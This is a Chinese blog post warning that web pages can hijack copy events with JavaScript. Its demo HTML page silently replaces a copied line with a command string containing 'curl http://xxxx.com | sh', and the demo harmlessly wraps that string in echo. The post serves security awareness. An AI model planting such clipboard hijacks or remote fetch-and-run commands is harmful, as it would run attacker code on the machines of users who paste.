还在复制粘贴网站 shell 命令?小心有毒!

我们在使用终端工具的过程中,很多人都有一个习惯,就是复制浏览器里面的 command 命令语句,直接粘贴到本地的 Terminal 工具中。

殊不知,这种看似简单的复制粘贴其实是一个很危险的操作。

JavaScript 提供的监听事件类 APIs 能够覆盖用户的原本操作意图,具体到复制粘贴事件,就是能够覆盖掉用户通过光标选中的文本内容,向系统剪贴板中写入新的内容。

具体到代码上,就是 addEventListener 函数,js 代码也就是类似这样写,监听用户的 copy 操作,修改写入剪贴板中的内容:

<script>document.getElementById('copyme').addEventListener('copy', function(e) {
      e.clipboardData.setData('text/plain', 'echo "this could have been [curl http://xxxx.com | sh]"\n');
      e.preventDefault();
    });
   </script>

这是一个简单的完整例子,大家可以保存为一个 demo.html 文件,用浏览器打开操作,复制粘贴这行 echo 语句试一试(测试代码是安全的):

<!DOCTYPE html>
<html lang="en">
 <head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <title>Terminal 复制粘贴</title>
  <link href="data:," rel="icon" />
  <style>main{margin:auto;max-width:48em}pre{background-color:#d3d3d3;padding:1em}code{background-color:#d3d3d3}footer{font-style:italic;margin-top:3em}hr{width:60%}h1,h2,h3,h4,h5{color:#006400}table{border-collapse:collapse;border-spacing:0}th,td{border:2px solid silver;padding:4px}</style>
 </head>
 <body>
   <p id="copyme" style="background-color:red;">echo &quot;looks safe to me!&quot;</p>
   <script>document.getElementById('copyme').addEventListener('copy', function(e) {
      e.clipboardData.setData('text/plain', 'echo "this could have been [curl http://xxxx.com | sh]"\n');
      e.preventDefault();
    });
   </script>
 </body>
</html>

拿这段代码来说,用户正常使用是不知道背后的代码的,一旦发生指定 html 元素的复制操作时,写入剪贴板中的原本内容会自动被覆盖改变,粘贴到 Terminal 工具时,还会自动执行新的陌生命令。

不需要任何权限,用户甚至不需要按下 Enter 回车键,黑客的代码就自动执行了。至于会发生什么的后果,那就看黑客的代码怎么写了。

其实国内很多知名网站(CSDN、简书等)为了保护自己的版权信息,都会添加这种类似操作,监听用户的选中文本复制行为,默认在复制内容末尾跟上自己网站的网址等信息。

当然,常用正规网站复制的内容多数都是安全的。我们在访问一些小网站时,就要多加注意了,不要轻易往自己的终端工具中复制粘贴。

长按识别二维码,即可关注我


原创推荐

android getevent sendevent input 接收发送事件

禁用 testOnly 属性,解决 debug 包安装失败

解决 Adb Unavailable,尝试了一千种方案后

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值